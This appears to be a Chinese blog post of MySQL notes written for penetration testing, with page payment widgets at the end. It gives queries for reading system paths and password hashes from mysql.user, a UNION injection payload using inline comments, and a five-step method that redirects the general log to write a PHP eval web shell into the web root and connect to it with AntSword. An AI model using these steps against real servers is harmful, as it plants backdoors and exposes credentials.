【基础知识】MySQL(一)

获取MySQL基本信息

select @@version_compile_os, @@version_compile_machine;
获取操作系统信息,及运行的是64位还是32位

select @@version;
查询数据库版本

select @@basedir;
查询MYSQL安装路径

select @@plugin_dir ;
查看plugin路径

select host, user, password from mysql.user;
查询hash (MySQL <= 5.6 )

select host, user, authentication_string from mysql.user;
查询hash (MySQL >= 5.7 )

ps -ef|grep mysqld
查看mysql安装目录、数据目录等。

MySQL最重要的一个数据库

MySQL:MySQL5.0版本之后,自带information_schema数据库,该数据库中存储了所有数据库名、表名、字段名等信息,对应三个表,schemata表(schema_name字段名)、tables表(table_name字段)、columns表(column_name字段)。

MySQL常用语句示例

查询语句

例:Select 字段名 from 库名.表名
例:Select 字段名 from 库名.表名 where 某字段名='已知的值'
例:Select 字段名 from 库名.表名 where 某字段名1='已知的值1' and 某字段名2='已知的值2'

limit用法

Limit 0,1:0表示从第一个结果开始,1表示返回一个结果。
例:select 字段名 from 库名.表名 limit 0,1

数据库名/版本/用户查询

database():查询当前使用的数据库名。
version():查询当前数据库版本。
user():查询当前连接MySQL的用户信息。

注释

MySQL中注释有:# 或者 --空格 或者/**/,三种方式。
内联注释:/*!code*/
示例:?Id=5 /*!union*/ /*!select*/ 1,2,3

MySQL日志功能及利用

1、SHOW VARIABLES LIKE ‘general%’ 查询日志开启状态。
2、set global general_log = “ON”; 开启日志记录
3、set global general_log_file=‘绝对路径/shell.php’; 设置日志路径,设置为网站对外可访问的绝对路径下。
4、select ‘<?php @eval($POST[value]);?>’; 这句查询语句将作为操作日志记录到前一步设置的shell.php文件中。
5、浏览器访问shell.php,并用中国蚁剑等工具连接。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值